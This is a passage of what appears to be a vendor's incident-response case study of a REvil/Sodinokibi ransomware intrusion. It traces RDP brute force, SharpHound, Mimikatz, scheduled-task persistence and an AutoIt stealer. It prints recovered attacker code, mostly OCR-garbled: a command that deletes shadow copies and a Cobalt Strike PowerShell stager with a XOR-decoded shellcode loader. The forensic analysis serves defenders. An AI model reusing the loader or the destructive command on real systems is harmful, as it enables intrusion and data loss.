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OVERVIEW

During a recent client engagement, the LIFARS DFIR team encountered the
REvil/Sodinokibi Ransomware group. The typical attack vector chosen by this group is
either the exploitation of vulnerable network devices or brute-force attacks on Remote
Desktop Protocol servers. In this case study we will present selected artifacts that will
provide important insight into the threat actors’ behavior.

The patient zero machine was a development server with a public IP address. In
this article we will focus on artifacts identified on this host, even though different
artifacts, and the ransomware sample itself were identified on other affected systems.
Patient zero had ports 139(NetBIOS) and 3389(Remote Desktop Protocol) open, which
was most probably the initial vector of compromise. As previously stated,
REvil/Sodinokibi threat actor looks to brute force the RDP service. We were able to find
evidence that is consistent with this claim (high volume of failed logon attempts), but
other artifacts lead the team to believe the attacker first used anonymous logons via
NetBIOS to gain important account information, for example usernames. Having port
139 open within your Local Area Network (LAN) is necessary: It enables applications
and network hosts to communicate with network hardware and transmit data across
the network. Contrary to needing port 139 open within your LAN, having this port on
your Wide Area Network (WAN) or over the internet is an enormous security risk. The
presented case is an excellent example how can attackers leverage such configuration.
These two open ports coupled together made the initial attack vector quite simple, even
for script kiddies themselves.

USER ASSIST ARTIFACTS

Execution of the following executables was attributed to the initially compromised user
account:

e CVE-2017-0213_x64.exe
e Sharphound.exe
e Kiwi Parser.exe

The UserAssist registry key allows examiners to see what programs were recently
executed on the system by a specific user, using GUI. For this part of the examination
process we chose to use the tool Registry Explorer, which helped the team identify a
trove of executables that were run by the threat actors. Although most of these files
were deleted, they were able to provide useful insights into some of the steps taken by
the attacker. These executables were run by the user which we initially suspected was
the victim of the brute force attack. We suspected this user because of the multiple
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failed logon attempts followed by a type 10 successful logon, which equates to a
Remote Desktop connection.

For example, on the desktop of the initially exploited user we found CVE-2017-
0213_x64.exe, a Windows COM privilege escalation vulnerability. If this file contained
exploit of this vulnerability, attackers could run it to elevate privileges within a network.
We could not verify this hypothesis, as the file was no longer present on the system
and it could not be recovered from the disk. Neither have we found additional artifacts
that would throw any light on what happened after executing this file.

UserAssist key also provided the team with evidence that SharpHound.exe was
executed. SharpHound is an ingestor - official data collector - for the popular
penetration testing tool BloodHound. BloodHound is a powerful GUI application that will
map an entire active directory environment, while also identifying attack paths and
detecting the shortest path to privileged accounts or domain controllers. Figure 1 shows
the BloodHound results used in a simulated environment; Figure 2 shows another
feature of the tool that provides information and references to abusing a certain
permission.

SharpHound execution is a sign of the threat actors’ attempts to map the
network and gain intelligence allowing for privilege escalation.

Figure 1: BloodHound GUI mapping AD environment - *test network*
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Help: GenericWrit
elp: GenericWrite | Help: GenericWrite

Figure 2. Abuse informatfon and references

Along with the two previously mentioned executables, the DFIR team was able to
\ find evidence of execution of a file called Kiwi Parser.exe, which is associated with a

r known Windows OS nemesis, Mimikatz. At this stage of the attack the threat actors

. most likely had administrative privileges, probably gained from successful exploitation of
the CVE-2017-0213, as the file of corresponding name had been executed on the
system. With administrative privileges, Mimikatz makes it easy for an attacker to gather
credentials and to further use them for lateral movement along the network in a variety
of different fashions (Pass-the-Hash, Pass-the-Ticket, Kerberos Golden Ticket, etc.).
With the knowledge from Bloodhound, the threat actors were able to see exactly where
the Mimikatz needed to be used. These three executables used together paint a clear
picture of the process taken — or at least attempted - by the threat actors during the
post-exploitation phase. The threat actors were able to elevate their privileges, probably
using a known vulnerability, map the active directory environment to find the path of
least resistance to the domain controller, and dump user credentials.

Due to the manner UserAssist registry key works, we were able to find when
listed executables run on Patient zero, and which user account was responsible for their
execution. LIFARS DFIR team made use of these facts while investigating other systems
involved in the attack: the knowledge of the compromised username allowed for a more
targeted investigative approach.

POWERSHELL ACTIVITY

As a part of the standard investigative process, our team investigated PowerShell
event logs. While reviewing PowerShell logs, we identified a Base64 encoded
PowerShell command. Such commands always catch investigators attention! Upon
closer review and after decoding the Base64 payload, true action of the command
revealed:
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Decoded command: Get-WmiObject Win32_ShadowCopy | ForEach-Object
{S_.Delete():}

The command deleted Volume Shadow copies. This is a routine technique for
ransomware actors to deploy (see Figure 3). Shadow copies are a Microsoft Windows
feature that creates backup copies or snapshots of computer files or volumes. This
technique would make sense to a ransomware attacker so the victim would not be able
to revert their system to a prior state before the attack happened.

Provider "Registry” is Started. N

Details:
ProviderName=Registry
NewProviderState=Started

SequenceNumber=1

HostName=ConsoleHost

HostVersion=5.1.14409.1018

Hostld=979750f8-b920-4551-acal-52a2a7ccl

HostApplication= powershell -&
RwBIAHQALOBXAGOA2QBPAGIAagBIAGMAJAAGAF cAaQBuADMAMgBFAFMAaABRAGQAbWBIAGMAbWBWAHKAIABSACAARGBVAHI
ARQBhAGMAZAALAESAYgBQAGUAYWBOACAAewAKAFEALGBEAGUABABIAHQAZQACACKAOWBIAA==

EngineVersion=

Runspaceld=

Pipelineld=

Coammandiama—

- 4 S

Figure 3 — PowerShell logs indicating shadow copies deletion

But there was more to find in PowerShell logs. The team found more suspicious
PowerShell activity that pointed to a Cobalt Strike stager. Cobalt Strike is a publicly
available framework that assists in loading shellcode onto victims’ computers. Cobalt
does have legitimate uses for penetration tests, but most recently there has been an
increase in its use by threat actors. In Figure 4.1 we see the beginning of the code with
the emphasis on the conversion from Base64 (again). By reviewing Figure 4.2 it is
evident that the Base64 string is being compressed by using gzip. Attackers often use
such operations in their stagers to reduce the size of large files. Encoding and
compression can help prevent antimalware detection.

Creating Scriptblock text (1 of 15):

Ss=MNew-Object 10 MemoryStream(, [Convert]::FromBasefdString("Hds| AAAAAAAAAQY T1670W et 38FHUxOFWENU3vBAwgeu~+ SPIuNBpPel T2R906Hf3X3aK0ZCOLO3cHZNzuDyUXGih XxGWBvN1//2V3n0I2ZNMct/
+ucgn3d6HH5C/vjHf + IHZf3pX376z2//sdiGdP1x+ ceHvSb5+ tivPKZ/Thlszpflp// bxz/YyZz0P/ 3y T 3sy/ TUFsB3LE/ vpd+ DHXm2zfrav/jDH/ fw-+ BVEWII + uQrPWe/TXP12MIudFu/yZ+ X75sU/ gd5//6T9x2zznw/q3

-+ E9SvjLLkvefrsbXX3796b/9FFb 5nP+z0WnydP 3pw/T0T3/0k8SNNGT 7+ 20KI6TVsyFrayH38p49p8mMHFIK/Xb3+ 8vN/

+58///rnfdb/Bidh2plu+eVn1rWvPITInU///rTE// Towu965v/BrNRp/ O4jMXEp 7 AelUORP/ U/ Zm78nby/wtd59//fvOym/y 7TON/vBKT/3bmI9+fj7aT22Y¥v8Xw599+ +vOPY/35L3/56T//azavbVjrPv+ TMqzSPH7dfN7INF/

+1CdD uWwvwHIW/ bwizelP//BIDHREzYPP/0j12fdPrb5L/80bF332/PeP//fPvoww558Y/i/t8u+ uXfLarustf519/+ 3hP/N+ Uwfu+ bvz3u2chfy/ TFNNevz8

+/aTBf//jf//gftGqWd3mZrPIf1 6e+/6ZX//iHP/z594/ 55 39fTHG pf 1/3Lz9Bv/ 1 kPEkkGzhfP 47 Trn 7£817/8j/P522v/ sXL5TX/TIPgfq/6+ Sm/HET 8/ uWnPwdjnf3[j3/49Y9/754f1//62eouy+ cf3//vpAHPi3rl+ Wi+ raRBP/Bh+ WV 50+ e/1
-+ NM/bjOfPH/ 5+ e9f5Bn/S+ r8/KO gf 73yd5+ Xvd1LFu33)j00fflyeppiV// 52T+ doa// KwMRE/ 9ftb/L TpPxXPmOX/uPvwo3X94+ 0/dh+9zHXsvz2k709¢57+ 9pOb)1 2e/fY TMyz1379itn X8/ ePP/yNdY+vWOKZWIR+P+
|Buv/OF)//5qbhyeidn5535fMnjuNO/rpPtRIdS+ kussZy+3Lv+Rws//YU24pOuekXuetDInBlz5SUOH3/ dEzc/bb/Jofv/TIzVel/3Z5/9790wq XVI+ mPP3ifq83Zlyz37+ P6T9jzn521DBqNU/ivRvkndaw(03GObefgnpeH 127
+bd/13)/79L7nyHmf0q T/ O/H+ Cvvwy/in9Irn TEuvS

+Z/iCKF/mXWv3euXI9gibOYB8mS03g7ulwisvP N u3mLOASPObsXSG cdtXTKepFOYGVWOGHeK 2wh)ainwe/ WHbOWNgiGOwfVall+ Z7a0pjeTwRc GuPtAMDiZ0d AsrgHZAcLAVEGrHaH/igxhP + |6dsSfGrOwVCfBIRBcLwPy O+
19mAGEFayxUTRELyLLtBXVSswidsaMv52XkKgvRglsSIZngs38z/visL GBtlzlkmBtER2YeTWS5BvIBWLz7InMder+ GELZC alucU44YZ2FAZHNZL ez CWAUV IO dfWLAO eyUyyhaddvipVdo85MISKFIZY Tdqe2vBTvmSSDDikNC40qpWx | 6EB
[zaGeHwrt2ClpZdzlkut5dNW2EY gisa8L/EIK+ 73EpB/jHzbtlmuy3IUHSfwyoK1BvH1UZIOTeuBaXtZVZ (1fpdcc5B+n7rGKquCiznci/ GaUvIEVAFFFjHSV+iL5SQCTNP P+ IrR+xN7LEETfeET

+FA/llozD9s:341¢jUg/Rk17Cgsy W+ GUdZCRAVIONks3gsUyl gdb+ swhTrZ9B5MyRq1EQth/8P4AH3SVSP CghYlaFbdtMcn@vBP clnLmAXb O cCvHrgXpE+ TT2wBTxNIRQGRLWT TFm 7yoL d50wjw493L YwcbOFhXyV3Srulbu2 W
gmTepgpGOXQVazk+ cn+PoyeGBmHjSZteMPrEWIiV+tfdyk)BvsITUSFXEhIZ+

|8Tymz09FnF55415qcdl WRwwAVVNgDCrvl 4t 5v0VInVRNZ LR cLOvSskU]BINN+ LA494mb1jiCrOY4aTx5RdQURz035uAa8nsy olbdjsZssBCV+vTEHLE4yRP7/RP D 7ydewxdxBP/H/5

+N7ZiV2Qe/4mHS509wLEZrX47XOKEL +/KFBafjokMhbqtgigQzcMXsLiQF TnHF+ cz TLOpA8kELgWnOZBsyEtjmu3Dsr Q/QGHeHfel09aAGP ATkhnxrl Hyw/ mBA+ sVIJhIVVCpN+B8NI/P28qrbl OXRR2aidsKR35wIZv TxrcAmsp
MtvaeXGIGzPICY2ZhqQDqYOLcMIXOvpdEZ6dCBIYGUKT3BtHY hwovAWSBZNS3++

|20/3x57ycGKGMpY¥32:0¢SzsDR0moadj3vZUIKn2bz TVjhI73e3CNGOynH3qxVz0US OjIVuq G8e8 TS AslvbZRauMFWXQSMOODtgRnPzL UMKhPbJzBPrWflemkhUODCAT7S4aT0dv5

+L9In3SVEMZARFSQOTKCAZGIu/ oxB)/AuQ/FOFZLNSIIPr7ZLsW3RIPwUI5qGz21tDqSK1:a05 TvRHer6i3f2d4tUNOeaAQtEOWynOdINxpfEQUevF+

663 Tun1GMsy+SYxbvRuPpoMKrlefdYFxbSC ++ LM1BC20I9A]GexlF5Be/bGeuhGya+mo+yOyw3BRp+milnhuQB0iFaVg 5Rr/QGwIp+ h3DIWPEA pjKsFVIXWH/EjoCwTnog+FYORSj0vIgq CUfiRhgGUV cwSciHnPXM2uXENw
repmSoVb2VwfNEciEqkzl 6ecbb07NaleHwM4AZtQgehtAZle+ neeXNhZmOHwWNBYM/Z2jpoh23nAlITFSI AagB7e3 1 qtdktmFutkl 1221X+

P AV 2 M T e D AL2] ARID IO AT bV Aol e8IV 4 L s EATU D s Ve ARV - T s VA ED e MAR A daEDEWATAVA o DA sk e AL LAEVDVA DM L i s e nf WA V72 T DA D, T 71D AAIN e [ L, 1Bl € VDR

Figure 4.1 — Base64 conversion
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R 1 JFUSUIB 0] LU POar O + K+ I VLA Sy TTOLL 1103 Uy US WA LONF JITTSRINVEURT AP URVIZLF TV 50 WAV ZNLUS VIV USaIT Dy JOTUGI0] Pro T ZPPEUNSNF R GLN TR WGP 1 I EEly U200 SOR0U]
WZ45]ICn+jvuSiioPMgBAcWEd+ HeHgE2ZHLPTFkO98IHQa4paXD59q754sTFLXma+ BegalFa+ ZrOSXKV cBxObhPXA354kgImadTkRBNzn Twe59)961AkBaz58tXL Op1
+nOnNEWEBYd7Ch/pvQLghugw/V3nDEoFcKnBM4bruWyYUFCymoQBGjZRIs0QbRGjebPQeghgnoM83sUWUI3ug+ 0TIZNU4iglfjsecYLmHT85Yb+
Cxegl/IVwlaPnGGdWNOfsTeSqcOkyInOtulORylsBvSYGEZTERd/FI5sB4NPBjUdOIUTnZ 4Nt 3uh 9D GXrDMMFT95g37x1G26/kZGET26Ph74047aBdNWiuB2gTeteuXNC+

95dcbdDhO/fZ4EQqttzOV/M1n 1206711y pOAMInwDmIVErz3ZuOnGk/ZrRrwTAQM3mRctGEIIRCXHILyDf ATmBjmHecYn2of/2rePB1Mw 1 NOUtgzP Y 0j55qAT2C 1 gULCDpmZNWGEK euKmnKER piUrTvpdmiY+ f17xQks60B
WYt3SHBmhNm7aC3RWGowpSzCRaAL/ SagaEUInwWiHkHP GFocsCTXCwV3p5Q/ QwdnQoNkUK/ pznd/ pTiKdQezFWqAqG DUk YH2DByH)2apCd8nva LiFz8)Xa(lQq/gGcCdD Halyny'i16agjyL TO40gQg X0 BBEyK4EHxdY CSQ
30Q13USmYgc2HPsmMO/XQh+KUVngg)QVIbPFITVTOaY Of06GvUbWx O/ QroRabgGWDjmP g60I19HPr+ OtéV4YaqBun7goDljczDaf3HmCIWqC/jloz74kXVjpyOXAPDbEWbeQZmklxh3viSliclVwXmEN/N CiZxSAGHvKMEEFOPv
25E19Mz/73fbX+ vjyEQBaallTk/NBWSqdEciusNUrCNaG65) O pgnaFL7 czbwD3c3qLtB1PSudwSnrbdmVo5WerlBbY/farlGjx2eVMmdPWWEdBMIbxK+ SFGSNOve 1vFkbAskV eSDawbvydDggkemfVHREYuBwjylV pOb K1 fwxY Gezlw
CwR2EPTad+EOfccllgwA3zSHEOHOHMoDwT/flh4// cYZEEjri+ cHwmghR1MGxhCelgdWDEBq6teDaFPVmAFkgap45p CrTkZQGAC3faAZFPcqubNzELRvE06H/ BpGMALWzuUeR130B9a80L 70bszulq1ydPZdYDeNhblvkt
+F7f8hKOZAhaa2 CAWNCVfhx5Xze 105/ MNKnHOwdBFUbOyU2/L3075ppdzbdxc06ND38pVPVE/ dmfeil8qdK Qoyv WS pwvEZKOVDNASGZWT C/Kuavh/Inra3woW/f2gtuvAedPul GGLamzblhwFa 1JWAEBNHaMtdPOET pVrBfE
JhUsPYFdNShjy3c2811h&7QrRX5VUDfpBEF2KIKUy54cdDSgqMAIONOL7 CuKUNx2802 O CT4zEMTXrkl gpt09pwrYFri0)c+

15P7F3x6Y9wt0GWEa2590aebbXcd1Bheh)33wiYA24cEDLds02qjuaMAzgV8H3gdxV500P%aDP q75cz304n TQob82XvHbddDDNr830Q5/ 0y)sGt22852WB/ TayueAzYRud+ fUIBE2 ThwdWCylw54CRGX5/HeqdXt/fizrmDEBIVLEMGR
Yq5Zwc¥IZSmOy/vAFVnTUx | FlrzbUAAWKOOggSYiI00/3

+0rE9ym1p2vOmiV100vFBOrZKvCNyls/XhsCDYsuVBSnboX/ TREANFT4ryN3Mb3zekMbMH3yekluaK4NOeTZDnndl+ YjvhiT1swSH/inmkt8EZBHO+ jgETHTbMuljjhmtuODHIVzjUUEWG225t)/qB9icBFfYz0T8WIDY X oialMkjb
r+HRMNwjSr+ GRBiJrgb 7PBvEN+ mVfd+vDU/3fvrn+ MH+ PH+DF+B/jx/ gxf owf48f4/3X88299+ + mnom6

+FemnZf/ 371/ CQ/vBT nr+fH189d3PwirbPBt1XOvDEG/aPRt6S// el//HHkLz/zvApr/vP 2rwkXdSNnP,/37Tz99n 5«00 cvdqtadsffqLiVBZL/plafeVPfiLzpjmne/mbGTeviB1/// GecPSh505/jRATqBj2vBeNYXw/ 1 chjil1 BKseMNvZf 74262 p07/F
WdbkbftV3c01P8vT37Lz+ csTNoInfNbO5zr98qevy ]+ 5/X7fvzl et/zrX375i3iKwiP 565+ + /ukKr/L0v/z2 TeuPET99

+/bdpuRZFHNzHTZ3sbCnqévBjxP//OdlmPenfaCikV/LB/VTIBRISZKG TOXEStN/ 3y2r+ vbE5Y/biet/v/n3)/nHmcEfmb797v3meb3k/wcX4DON+ r937eABrzSmf3fd54H+ 2399+ + mf/uWnn/Tifx/2t8d3/vWrivBSP THXPuLmBeupTr7+
9esWM/HIIS/ b 186DL5+jr +/etXVZ TWyt OvXTWmiFTyqdjjdal/wwitqd+ P3y/Bty+ap/muy3/d1mi0vzc5s0tPzcZ Thb 7/ hfUWCDMzOkEAA=="));|EX (New-Object 10.5treamReader(New-Object |0.Compression.GzipStream(Ss,
[10.Compression.CompressicnMode]::Decompress))).Read ToEnd();

Figure 4.2 — gzip compression

Once the contents in the Base64 string are decoded and decompressed, another
remote command can be observed (see Figure 5.1 and 5.2). The resulting script
contains another Base64 string and loads the shellcode into memory. After observing
and breaking down the lines of code, it looks most probably as a type of sophisticated
fileless malware.

Creating Scriptblock text (1 of 25): ~
Set-Stricthode -Version 2

SDolt = @'
function func_get_proc_address [
Param (Svar_module, Svar_procedure)
Svar_unsafe_native_methods = ([AppD J:CurrentD et blies() | Where-Object { S_GlobalAssemblyCache -And §_Location.Split{\V)[-1].Equals(‘System.dil) }).GetType
('Microsoft Win32.Unsaf eNativelMethods')
Svar_gpa = Svar_unsafe_native_methods.GetMethod( GetProcAddress', [Type[l] @('System.Runtime.InteropServices.HandleRef,, 'string'))
return Svar_gpa.nvoke(Snull, @([System.Runtime.InteropServices.HandleRefl(New-Object System. Runtime.InteropServices. HandleRef((New-Object IntP1r), (Svar_unsafe_native_methods. GetMethod
('GethModuleHandle’)).Invoke(Snull, @(Svar_medule])}), Svar_procedure))
i

function func_get_delegate_type{

Param
[Parameter{Position = 0, Mandatory = STrue)] [Typel]] Svar_parameters,
[Paremeter(Position = 1)] [Typel Svar_return_type = [Void]
)
Svar_type_builder = [AppDomain]:CurrentDomain.DefineDynamic bly((New-Object System.Reflection blyName( ReflectedDelegate')),
[System.Reflection.Emit. DefineDynamicModule(| fodule, Sfalse).DefineType' MyDeIegalETypE C\ass Public. Sesled, AnsiClass AutoClass, [System MulticastDelegate]
Suar_type._buider.DefineConstructor( RTSpecialame. HideBySig, Public!, [System Reflection.CallingCanventi Sva gs(Runtime, Managed’)

Svar type_builder.DefineMethod(lnvoke, Public, HideBySig, NewSlot, Virtual', Svar return type, Svar_parameters) Setlmp\ementatmnﬂag;( Runt\ma Managed')

return Svar_type_builder.CreateType()
i

[Bytell]Svar_code = [System.Convert]::FromBase64String( mZLOAf- 5vpXBId4CupFmaqcEnANHAIoHky4ALykE/ pymfOskO4nEMEjobl96HzqkiVgZZa/sMZ O jsHDWY TBLT5dwS0+ XEtPIBELTSdwSD

+ XeEtPIOSLT5d2z0EU8US/WLqecl255mV TpzshV 1uTBMvEIGIsFBAkhBKeAyFSMrSZOREaJRAG- O0JYghkdUbZRQBY HtkCWBTZKamQJARjeK/ DDWIZmidSQTvyn\W 10WOuXOxHXAGA/asRP K15 Tuh4fNQGxmalMUe 1 QgsoF
OpzSDGRWPDGOGMYhOdGFbiP pT15hx62nt 500/S6cShwl VWK X3 1vKzEIFg5eCOSCvajkgralSIK+ COSCvajlgrdlSIK7DLSCt80UwrD! Gel SSECC: JiwRCOWTUUKQMILIEBCSCRAQKgOQFIINEBQS
DRFUEGOS1BINESQSDROUEGOToBLNESKTDROZEWOTGOMNUsknDtMdw T THSMOOKK7DEMROWTXETs01y57jsNR/EThézz0wNzSjul c/Y7i3P204tz8jul ¢/ YTi3P204tz3juLw/ UTSzX60050+ jtLNPo7SZTE00SD

- tLNPo752T600s0

-+ tLNPo7g9H401Pe+ DT3vg7UITA010-++jTFOTKOPIOSND/ TuTQ/OTKOPIOSND/ TuTC/ BT TeYQdn3YLITvGKyfyxlsnIAZT)/XGuyfxrsndcaT)/XGuyX hOnEUDTPIsd9xbO20cUyzi HFMTZNTI2RcUwdkHFMHZBXTB20c Qo
dkDGiefHFRAE3NDgNy TdYDUK3UITIN200STde Dgk3XA4INTWOCS e DjkMun/diCCGoxDIFKIQKNUhEC]7pAcKEUQKAUEC gL quioCBsQahurUmgl a1 ZoC gLq1ZoC gLq1ZeC VmgLq1ZoC6
tWahurVmgLq1ZoCEtWaAurVmoLq1ZoCEtWahurVmgLq1ZoCEtWaAurymgLq 1 ZoCEtWaAurVmgLq ZoCEtWakurVmgLq 1 ZoCEtWaAurvmgLy 1 ZoCEtWaAurVmgLal ZoCEtWaAurVmgLq 1 ZoCEtWaAurvmgLq 1ZoCEtWa
AurVmgLq1ZoC6tWaAurVmglqZeCEtWaAurVmglLq1 ZoC6tWaAurimglLq1ZoC6tWaAurVmgLq1 ZoCEtWaAurVmgLq1 ZoC6tWahurVmglLq1ZoC6tWaAurymgLq1ZoCEtWaAurY mgLq1 ZoChtWakurVmgLq 1 ZoCtWaAur
VmgLq1ZoC gLq1ZoC glq1ZoC gLq1ZoC gLq1ZoC gLq1ZoChtWaAurvmglqlZoC gk VABOEPUIGIATRAVSOGVTly
YerNAk3+NHvAaVNMm7k kevFunBGIMII N7IC| Tdfini/ ThC LI (11 b+ FNahfRe TnSDdreRRL avakVROAWKNSPIC ThSIneaMnf fivef dP OuDF<ViNY efl 198VNI fixud 19d nwGAckd TV O d+

Figure 5.1 — Fileless malware (beginning)

for (§x = 0; S It Svar_code.Count; Sx++) {
Svar_code[$x] = Svar_code[$x] -bxor 35

i

Svar_va = [System.Runtime.Int; legateForFunctionP - get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @((IntPtr], [Uint32], [Ulnt32], [UInt32]) ([IntPte])))
Svar_buffer = Svar valnvoke([IntPirl: Zero, Svar_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshall:Copy(Svar_code, 0, Svar_buffer, Svar_codelength)

Svar_runme = [System.Runtim ar_buffer, (func_get_delegate_type @{[IntPtr]) ([Void]]))
Svar_runme.lnvoke([IntPtr]:Zero)
'@

If ([IntPtr]:isize -eq 8){

start-job { param($a) IEX Sa } -Runs32 -Argument $Dolt | wait-job | Receive-Job
i
clse

IEX SDolt

i

Figure 5.2 — Fileless malware (ending)

A WORD ON FILELESS MALWARE

With the development of sophisticated security solutions, fileless malware grown
in popularity over the years. The advantage of fileless malware is its ability to evade
security techniques while also frustrating forensic efforts because it does not leave a
footprint. The reason behind its ability to evade security tactics is that, like the name
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implies, there are no files or folders that are left on the system, in fact, the infections
go straight to memory and do not touch the hard drive. This type of malware often
uses native tools such as Powershell and Windows Management Instrument (WMI) to
run the scripts locally. Since this malware works in memory, when the system is
rebooted the evidence is lost, adding another layer of difficulty to an already
challenging investigation.

CLOSER LOOK AT THE PAYLOAD

In the beginning of the code in Figure 5.1, there are two distinct functions visible
— func_get_proc_address and func_get_delegate_type. To start, func_get_proc_address
returns a memory address for a specific procedure, in this case
Microsoft.Win32.UnsafeNativeMethods, which is located in System.dll as declared in the
script.

The next function, func_get_delegate_type, looks to be creating a new delegate
named ‘ReflectedDelegate’. This delegate can be used to manage the necessary types
of inputs and outputs within the PowerShell code, so the script itself knows what to
expect when retrieving different types of functions inside different .dll libraries. For
example, later in the script (Figure 5.2) it can be observed that the
func_get_proc_address makes a call to kernel32.dll.

Moving on, we can see that the decryption loop uses a XOR decryption type with
a key of 35. By using the VirtualAlloc function that is seen to be stored in the $var_va
variable, this script is able to allocate the necessary amount of space needed for the
payload and then subsequently store the payload into memory. Finally, after the
function is stored in memory, the $var_runme variable is used to execute the payload.

MALWARE EXECUTABLE

While running malware scans on the mounted image, one of AV solutions
detected a malicious executable:

File: 1

Generic.Malware/Suspicious,
R:\USERS\******\APPDATA\ROAMING\X86_MICROSOFT-
WINDOWSMP43DECD_31BF3856AD364E35_6.1.7600.16385_NONE_B40981B052
84B367\DPNADDR.EXE, No Action By User, 0, 392686, 1.0.25486, , shuriken,

This file was determined to be malware completely written in Autolt script. The
analyzed malware employed a well-known method of achieving persistence: Scheduled
Tasks. Using this Windows mechanism, the malware sample was executed in 1-minute
intervals, thus the threat actor ensured that even after rebooting the machine, their
access to the machine will be preserved. Malware was based on Qulab Stealer and
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Clipper, a tool for stealing credentials, browser history, cookies, but is also able to
replace the contents of clipboard. An experienced LIFARS malware analyst reverse
engineered this rare malware sample and wrote an in-depth study on it. To read more
on this sample please visit the LIFARS website by clicking the link provided:
https://lifars.com/knowledge-center/clipper-autoit-v2-quilclipper-autoit-malware/

CONCLUSION

The REvil/Sodinokibi ransomware group use tactics that take advantage of
network errors. It is extremely important to make sure publicly accessible servers do
not have open ports that threat actors can take advantage of. In this case, ports 139
and 3389 acted as the initial entrance for treat actors. After crossing this wide-open
door, threat actors eventually gained administrative rights, laterally moved to other
systems and executed ransomware on multiple servers, leaving behind encrypted files
and ransomware notes, pushing the victim into paying for data decryption. The threat
actors have used multiple popular techniques and tactics along the way: PowerShell
stager with encoded payloads, payload execution in memory, usage of SharpHound and
Mimikatz, achieving persistence through Scheduled Tasks. On the other hand, malware
written in Autolt script is rather rare.

Ransomware can completely cripple companies of all sizes by not only taking
money, but also time and resources that would be normally used for business aspects.
Reputation loss and possible legal follow-up in the case that sensitive data are
encrypted are other threats imposed by ransomware groups. Securing your network on
every possible level is only one of preventive measures we advise our clients to
implement. Detection of adversary actions taken during the attack is crucial, but just as
important is the capability to contain the incident and to take appropriate remediation
steps to recover. Check out LIFARS portfolio to find a suitable solution, which can
improve your company’s cyber-security posture today!
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